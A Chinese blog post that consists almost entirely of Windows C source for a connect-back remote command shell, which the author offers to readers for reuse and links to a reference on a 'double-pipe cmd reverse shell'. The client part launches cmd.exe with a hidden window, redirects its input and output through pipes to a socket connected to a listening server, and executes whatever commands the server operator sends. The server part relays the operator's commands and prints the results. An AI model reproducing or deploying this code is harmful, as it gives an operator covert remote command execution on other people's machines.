模拟实现cmd命令的执行,不说废话,依然所有描述都在注释里面
/*
* by:initm.com 转载请注明出处
* Date:2018/11/18
* 这段程序可以在远程模拟cmd的执行,我第一次看到双管道模拟这个思路是在
* https://bbs.csdn.net/topics/392135870
* 这个帖子,验证也可行的,因为要做远程的模拟,昨天恰好看到了一片文章在写这个,
* 但是原文章代码貌似有一丢丢小问题,所以呢改吧了一下,发出来如果有需要请拿去.
*/
//头文件要加好
#include <WinSock2.h>
#include <WS2Tcpip.h>
//注意上面的两个头文件一定要放在上面,别问我为什么.
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <process.h>
//这个头文件可以去我的另外一篇文章http://blog.initm.com/print-debug-infomation-tool.shtml找
#include "dt.h"
#pragma comment(lib, "ws2_32.lib")
#define BUFF_SIZE 1024
//这个宏用来确定是编译服务端还是编译客户端
//#define SERVER
#ifdef SERVER
//服务端接收客户端打印信息的线程,和标准输出交互,服务端看到的文字就是这个线程打印的
VOID __cdecl ReceiveThread(LPVOID lpParm)
{
SOCKET socketNew = (SOCKET)lpParm;
while (TRUE) {
CHAR receiveBuffer[BUFF_SIZE];
INT len = recv(socketNew, receiveBuffer, BUFF_SIZE, 0);
if (SOCKET_ERROR == len) {
closesocket(socketNew);
DE("socket error ...");
return ;
}
receiveBuffer[len] = 0;
printf("%s", receiveBuffer);
}
}
//服务端发送命令的线程,这个线程和标准输入交互,将接收到的命令发送到客户端
VOID __cdecl SendThread(LPVOID lpParm)
{
SOCKET socketNew = (SOCKET)lpParm;
char sendBuffer[BUFF_SIZE];
while (TRUE) {
ZeroMemory(sendBuffer, BUFF_SIZE);
fgets(sendBuffer, BUFF_SIZE, stdin);
if (SOCKET_ERROR == send(socketNew, sendBuffer, strlen(sendBuffer), 0)) {
DE("Send Error");
return ;
}
}
}
//新连接到来,创建接收和发送的线程
VOID __cdecl SocketThread(LPVOID lpParm)
{
_beginthread(ReceiveThread, NULL, lpParm);
_beginthread(SendThread, NULL, lpParm);
}
int main(int argc, char* argv[])
{
WORD myVersionRequest = 0;
WSADATA wsData;
memset(&wsData, 0 , sizeof(wsData));
myVersionRequest = MAKEWORD(2, 2);
int err = WSAStartup(myVersionRequest, &wsData);
if (!err) {
DT("Open socket success!\n");
}
else {
DE("Open socket error!\n");
return 1;
}
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN addr;
addr.sin_family = AF_INET;
addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//ip地址,绑定所有的
addr.sin_port = htons(6000);//绑定端口
if (SOCKET_ERROR == bind(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR))) {
WSACleanup();
DE("bind error!\n");
return 2;
}
if (SOCKET_ERROR == listen(sock, 1)) {
WSACleanup();
DE("listen error!\n");
return 3;
}
SOCKADDR_IN clientSocket;
memset(&clientSocket, 0, sizeof(clientSocket));
int len = sizeof(SOCKADDR);
while (TRUE) {
SOCKET sockNew = accept(sock, (SOCKADDR*)&clientSocket,
&len);
DT("new connection is coming...\n");
_beginthread(SocketThread, NULL, (LPVOID)sockNew);
}
closesocket(sock);
WSACleanup();
return 0;
}
#else
//保存管道的句柄,因为其他函数要用,所以定义成全局的
//hStdOutRead 用来读取新创建cmd进程的标准输出
//hStdInWrite 用来往新创建cmd进程的标准输入里写数据
HANDLE hStdOutRead = NULL, hStdInWrite = NULL;
//创建两个管道,分别对应cmd进程的标准输入和标准输出
BOOL CreateTwoPipe()
{
HANDLE hStdInRead = NULL, hStdOutWrite = NULL;
SECURITY_ATTRIBUTES saIn, saOut;
saIn.nLength = sizeof(saIn);
saIn.bInheritHandle = TRUE;
saIn.lpSecurityDescriptor = NULL;
BOOL bRes = CreatePipe(&hStdInRead, &hStdInWrite, &saIn, 0);
if (!bRes) {
DE("Client CreatePipeIn error!");
return FALSE;
}
saOut.nLength = sizeof(saOut);
saOut.bInheritHandle = TRUE;
saOut.lpSecurityDescriptor = NULL;
bRes = CreatePipe(&hStdOutRead,&hStdOutWrite, &saOut, 0);
if (!bRes) {
DE("Client CreatePipeOut error!");
return FALSE;
}
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
//这两个标志就是说使用si中的wShowWindow标记和hStdInput hStdOutput hStdError标记
//说白了就是隐藏cmd窗口和重定向标准输入输出
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hStdInRead;
si.hStdOutput = hStdOutWrite;
si.hStdError = hStdOutWrite;
TCHAR szCmdLine[] = _T("cmd.exe");
PROCESS_INFORMATION pi;
bRes = CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if (!bRes) {
DE("Client CreateProcess error!");
return FALSE;
}
//子进程用, 父进程就关掉就可以了
CloseHandle(hStdInRead);
CloseHandle(hStdOutWrite);
return TRUE;
}
//从管道中读取标准输出的数据,然后send给服务端
void ReadOutPutReadCmd(LPVOID lpParm)
{
BYTE buffer[BUFF_SIZE] = { 0 };
int ret = 0;
DWORD dwByteRecv = 0;
SOCKET clientSocket = (SOCKET)lpParm;
while (TRUE) {
dwByteRecv = 0;
ZeroMemory(buffer, sizeof(buffer));
if (!ReadFile(hStdOutRead, buffer, BUFF_SIZE, &dwByteRecv, NULL)) {
break;
}
ret = send(clientSocket, (LPCSTR)buffer, dwByteRecv, 0);
if (SOCKET_ERROR == ret) {
break;
}
}
}
int main(int argc, char* argv[])
{
WSADATA wsaData;
ZeroMemory(&wsaData, sizeof(wsaData));
if (!WSAStartup(MAKEWORD(2, 2), &wsaData)) {
DT("Client socket open success!");
}
else {
DE("Client socket open error!");
return 1;
}
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN addr;
in_addr ip;
inet_pton(AF_INET, "127.0.0.1", &ip);
//这里有一个坑ip.S_un.S_addr,这个变量已经是网络字节序,不需要再做转换
addr.sin_addr.S_un.S_addr = ip.S_un.S_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(6000);
if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR))) {
DE("Client connect error!");
return 2;
}
if (!CreateTwoPipe()) {
DE("Client CreatePipe error!");
return 3;
}
INT nByteRecv = 0;
char clientBuffer[BUFF_SIZE] = { 0 };
//创建读取输出的线程
_beginthread(ReadOutPutReadCmd, 0, (LPVOID)sock);
while (TRUE) {
ZeroMemory(clientBuffer, BUFF_SIZE);
nByteRecv = recv(sock, clientBuffer, BUFF_SIZE, 0);
if (SOCKET_ERROR == nByteRecv) {
break;
}
printf("recv:%s", clientBuffer);
//往管道里面写入数据
DWORD dwWriteSize = 0;
if (!WriteFile(hStdInWrite, clientBuffer, nByteRecv, &dwWriteSize, NULL)) {
DE("Client WriteFile error !");
break;
}
}
CloseHandle(hStdInWrite);
CloseHandle(hStdOutRead);
closesocket(sock);
WSACleanup();
return 0;
}
#endif
参考:
双管道cmd反弹程序
https://blog.csdn.net/hjxyshell/article/details/50572532